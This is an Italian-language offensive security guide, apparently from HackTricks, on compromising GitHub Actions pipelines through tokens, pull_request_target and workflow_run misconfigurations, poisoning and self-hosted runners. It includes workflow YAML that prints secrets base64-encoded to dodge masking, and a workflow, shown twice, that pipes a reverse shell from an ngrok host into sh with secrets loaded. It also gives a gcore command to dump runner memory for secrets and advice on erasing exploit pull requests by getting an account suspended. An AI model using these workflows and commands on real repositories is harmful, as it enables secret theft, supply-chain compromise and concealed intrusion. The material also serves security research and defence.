# Abusing Github Actions {{#include ../../../banners/hacktricks-training.md}} ## Basic Information In questa pagina troverai: - Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a un'azione Github - Diversi modi per **ottenere accesso a un'azione**: - Avere **permessi** per creare l'azione - Abusare dei trigger relativi alle **pull request** - Abusare di **altre tecniche di accesso esterno** - **Pivotare** da un repository già compromesso - Infine, una sezione sulle **tecniche di post-sfruttamento per abusare di un'azione dall'interno** (causando gli impatti menzionati) ## Impacts Summary Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions). Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di: - **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP. - **Compromettere distribuzioni** e altri **artifacts**. - Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla supply chain. - **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi. - **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`. ## GITHUB_TOKEN Questo "**segreto**" (proveniente da `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) viene fornito quando l'amministratore abilita questa opzione:
Questo token è lo stesso che una **Github Application utilizzerà**, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Github dovrebbe rilasciare un [**flusso**](https://github.com/github/roadmap/issues/74) che **consente l'accesso cross-repository** all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il `GITHUB_TOKEN`. Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Nota che il token **scade dopo il completamento del lavoro**.\ Questi token assomigliano a questo: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Alcune cose interessanti che puoi fare con questo token: {{#tabs }} {{#tab name="Merge PR" }} ```bash # Merge PR curl -X PUT \ https://api.github.com/repos///pulls//merge \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header "content-type: application/json" \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} {{#tab name="Approva PR" }} ```bash # Approve a PR curl -X POST \ https://api.github.com/repos///pulls//reviews \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ -d '{"event":"APPROVE"}' ``` {{#endtab }} {{#tab name="Crea PR" }} ```bash # Create a PR curl -X POST \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ https://api.github.com/repos///pulls \ -d '{"head":"","base":"master", "title":"title"}' ``` {{#endtab }} {{#endtabs }} > [!CAUTION] > Nota che in diverse occasioni potrai trovare **token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti**. Questi token possono darti più privilegi sul repository e sull'organizzazione.
Elenca i segreti nell'output di Github Action ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Ottieni una reverse shell con segreti ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle azioni:
## Esecuzione Consentita > [!NOTE] > Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso suppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, o abbia **privilegi di scrittura su un repository**. > > Se ti trovi in questo scenario, puoi semplicemente controllare le [tecniche di Post Exploitation](./#post-exploitation-techniques-from-inside-an-action). ### Esecuzione dalla Creazione del Repo Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu possa eseguire azioni github, puoi **creare un nuovo repo e rubare i segreti impostati a livello di organizzazione**. ### Esecuzione da un Nuovo Branch Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano). Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente): ```yaml on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - master push: # Run it when a push is made to a branch branches: - current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` --- ## Esecuzione Forked > [!NOTE] > Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate in modo errato, un attaccante potrebbe essere in grado di comprometterle. ### `pull_request` Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow:
> [!NOTE] > Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/errore valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**. > > **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~ Inoltre, per impostazione predefinita **prevenire i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un **repository forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**. Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate. > [!CAUTION] > **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repo di origine!** Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti dannosi**. ### **`pull_request_target`** Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso). Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto di base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Inoltre, per ulteriori informazioni su questo specifico uso pericoloso controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**. E questo avrà **accesso ai segreti**. ### `workflow_run` Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_corso`. In questo esempio, un workflow è configurato per essere eseguito dopo il completamento del separato workflow "Esegui Test": ```yaml on: workflow_run: workflows: [Run Tests] types: - completed ``` Inoltre, secondo la documentazione: Il flusso di lavoro avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il flusso di lavoro precedente non lo era**. Questo tipo di flusso di lavoro potrebbe essere attaccato se **dipende** da un **flusso di lavoro** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel flusso di lavoro attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\ Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al flusso di lavoro **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**. ### `workflow_call` TODO TODO: Controlla se, quando eseguito da un pull_request, il codice utilizzato/scaricato è quello dell'origine o da PR forkato ## Abuso dell'Esecuzione Forkata Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un flusso di lavoro github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate: ### Esecuzione di checkout non attendibile Nel caso di **`pull_request`,** il flusso di lavoro verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](./#pull_request). Nel caso di un flusso di lavoro che utilizza **`pull_request_target` o `workflow_run`** che dipende da un flusso di lavoro che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**. > [!CAUTION] > Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice PR viene scaricato):
# INSECURE. Fornito solo come esempio.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR. > [!WARNING] > Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml` tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR). ### Iniezioni di Script nel Contesto Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} ### **Iniezione di Script GITHUB_ENV** Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di flusso di lavoro definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**. Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**. Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un flusso di lavoro che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
### Azioni Github di Terze Parti Vulnerabili #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Azione Github consente di accedere ad artifact provenienti da diversi flussi di lavoro e persino repository. Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel flusso di lavoro. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri flussi di lavoro che si fidano dell'Artifact. Esempio di flusso di lavoro vulnerabile: ```yaml on: workflow_run: workflows: ["some workflow"] types: - completed jobs: success: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: download artifact uses: dawidd6/action-download-artifact with: workflow: ${{ github.event.workflow_run.workflow_id }} name: artifact - run: python ./script.py with: name: artifact path: ./script.py ``` Questo potrebbe essere attaccato con questo flusso di lavoro: ```yaml name: "some workflow" on: pull_request jobs: upload: runs-on: ubuntu-latest steps: - run: echo "print('exploited')" > ./script.py - uses actions/upload-artifact@v2 with: name: artifact path: ./script.py ``` --- ## Altra Accesso Esterno ### Hijacking di Namespace Repo Cancellati Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato. > [!CAUTION] > Quindi, se un'azione sta utilizzando un repo da un account non esistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione. Se altri repository stavano utilizzando **dipendenze da questi repo utente**, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] > In questa sezione parleremo di tecniche che permetterebbero di **pivotare da un repo a un altro** supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente). ### Cache Poisoning Una cache è mantenuta tra **le esecuzioni del workflow nella stessa branch**. Ciò significa che se un attaccante **compromette** un **pacchetto** che viene poi memorizzato nella cache e **scaricato** ed eseguito da un **workflow più privilegiato**, sarà in grado di **compromettere** anche quel workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} ### Artifact Poisoning I workflow potrebbero utilizzare **artifact da altri workflow e persino repo**, se un attaccante riesce a **compromettere** l'azione Github che **carica un artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromettere gli altri workflow**: {{#ref}} gh-actions-artifact-poisoning.md {{#endref}} --- ## Post Exploitation da un'Azione ### Accesso a AWS e GCP tramite OIDC Controlla le seguenti pagine: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### Accesso ai segreti Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti: - Se il segreto o il token è impostato su una **variabile d'ambiente**, può essere direttamente accessibile attraverso l'ambiente utilizzando **`printenv`**.
Elenca i segreti nell'output dell'azione Github ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Ottieni una reverse shell con segreti ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
- Se il segreto è utilizzato **direttamente in un'espressione**, lo script shell generato è memorizzato **su disco** ed è accessibile. - ```bash cat /home/runner/work/_temp/* ``` - Per le azioni JavaScript, i segreti vengono inviati tramite variabili d'ambiente. - ```bash ps axe | grep node ``` - Per un **azione personalizzata**, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'**argomento**: ```yaml uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }} ``` ### Abusare dei runner self-hosted Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-Github** è cercare **`runs-on: self-hosted`** nella configurazione yaml dell'azione Github. I runner **self-hosted** potrebbero avere accesso a **informazioni extra sensibili**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? servizio di metadata?) o, anche se è isolato e distrutto, **più di un'azione potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i segreti** dell'altra. Nei runner self-hosted è anche possibile ottenere i **segreti dal processo \_Runner.Listener**\_\*\* che conterrà tutti i segreti dei flussi di lavoro in qualsiasi fase dumpando la sua memoria: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` Controlla [**questo post per ulteriori informazioni**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Registro delle Immagini Docker di Github È possibile creare azioni di Github che **costruiranno e memorizzeranno un'immagine Docker all'interno di Github**.\ Un esempio può essere trovato nel seguente espandibile:
Github Action Build & Push Docker Image ```yaml [...] - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ```
Come puoi vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**. Un utente con permessi di lettura sul repo sarà quindi in grado di scaricare l'immagine Docker utilizzando un token di accesso personale: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` Poi, l'utente potrebbe cercare **segreti trapelati nei livelli dell'immagine Docker:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} ### Informazioni sensibili nei log di Github Actions Anche se **Github** cerca di **rilevare valori segreti** nei log delle azioni e **evitare di mostrarli**, **altri dati sensibili** che potrebbero essere stati generati nell'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Coprire le tue tracce (Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non **possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi PR di exploit) Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e lì hai, reso invisibile il tuo exploit su github. > [!WARNING] > L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso. ## Strumenti I seguenti strumenti sono utili per trovare flussi di lavoro di Github Action e persino trovare quelli vulnerabili: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}}